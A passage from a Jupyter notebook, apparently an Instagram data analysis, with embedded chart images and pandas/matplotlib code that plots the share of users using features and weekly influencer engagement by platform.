2Op0LSuZKekjSnMG1tSddLejD/XaudMeaYasU5TtLjuU5nStq3zTFuJOlGSfdKulvSl/L0UtVngzjLVp/9JN0h6a4c57fz9LLVZ704S1WfneF7ytZpknoDDwD/BjwG3AkcHhH3tDWwOiTNBUZGRKm+TEDSHsAi4PyIGJ6n/Qh4NiJOzRc7a0XECSWMcxywKCJ+0s7YKiS9A3hHREyXNBCYBhwIjKFE9dkgzo9TrvoUsEZELJK0GnAL8CXgYMpVn/XiHE2J6rMz3FK25bEz8I+IeCgi/g+4FDigzTGtdCJiEvBs1eQDgN/m4d+STthtVSfOUomI+RExPQ8vBO4FNqBk9dkgzlKJZFEeXS2/gvLVZ704V1pOyrY8NgDmFcYfo4QnloIArpM0TdLR7Q6mA+tFxHxIJ3Bg3TbH08h/S5qVu7fb3s1eIWkY8B7gdkpcn1VxQsnqU1JvSTOBp4DrI6KU9VknTihZfTbLSdmWh2pMK/PV6e4RsSPwYeALuTvWuuZXwKbADsB84LS2RpNJGgD8DhgbES+2O556asRZuvqMiCURsQOwIbCzpOFtDqmmOnGWrj6b5aRsy+MxYKPC+IbAE22KpUMR8UT++xTwB1L3e1k9me87Vu4/PtXmeGqKiCfzyfAN4BxKUKf5nuLvgIsi4vd5cunqs1acZazPioh4HphIuk9buvqsKMZZ5vrsiJOyLY87gc0lvVPS24DDgAltjqkmSWvkB2qQtAawDzCn8VptNQE4Ig8fAVzdxljqqpyYs4Noc53mB37+B7g3In5amFWq+qwXZwnrcx1Jg/Nwf2Bv4D7KV5814yxbfXaGn7625ZI/YnAG0Bs4NyK+196IapP0LlLrGNKvol1cllglXQKMIv3M3JPAycBVwOXAxsCjwMcioq0PWdWJcxSpazCAucAxlXuN7SDpfcDNwGzgjTz5G6T7taWpzwZxHk656nN70oNcvUmNt8sj4hRJb6dc9VkvzgsoUX12hpOymZlZSbj72szMrCSclM3MzErCSdnMzKwknJTNzMxKwknZzMysJJyUzWyVkD+zeoukOZIOLEy/WtLQNoZm1jQnZTNbVRxO+szqrsBXASTtD0yvfKubWdn1aXcAZmYt8jrQH+gLvCGpDzAW2L+dQZl1hr88xMxWCZIGARcD6wEnANsCL0TEbxuuaFYiTspmtsrJP9V3GXAwcDqwFnBaRExpa2BmHXBSNrNVjqTTSd8jvgXpe5EvBq6OiD3bGZdZR/ygl5mtUiRtDgyNiJuA1Uk//BBAv7YGZtYEt5TNbJUi6XLgxIh4UNK6pBbzIOCkiPhdW4Mz64CTspmZWUm4+9rMzKwknJTNzMxKwknZzMysJJyUzczMSsJJ2czMrCSclM3MzErCSdnMzKwk/h8YKTeH0Of8GAAAAABJRU5ErkJggg==\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "\n", + "stats = pd.read_csv(\"D:\\\\DataScience\\\\Instagram DataAnalysis\\\\Usage Statistics\\\\IG14.csv\", header=0, sep=\",\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "c = ['r', 'g', 'b', 'k']\n", + "\n", + "plt.title(\"Percentage of Instagram users who have used features\")\n", + "plt.xlabel(\"%\")\n", + "plt.ylabel(\"Feature\")\n", + "plt.barh(x,y,color=c)\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Key Instagram Influencer Marketing Statistics" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Users interacting with influencers weekly on Instagram, vs other channels :" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Users interacting with influencers weekly on Instagram, vs other channels:\n", + "_________________________________________________________________________________________________________________________\n", + " Influencer_channel Proportion_of_users_engaging_weekly\n", + "0 Instagram 94\n", + "1 YouTube 95\n", + "2 TikTok 95\n", + "3 Instagram 94\n", + "4 Snapchat 92\n", + "5 Pinterest 87\n", + "6 Twitch 83\n", + "7 Triller 75\n" + ] + }, + { + "data": { + "image/png": "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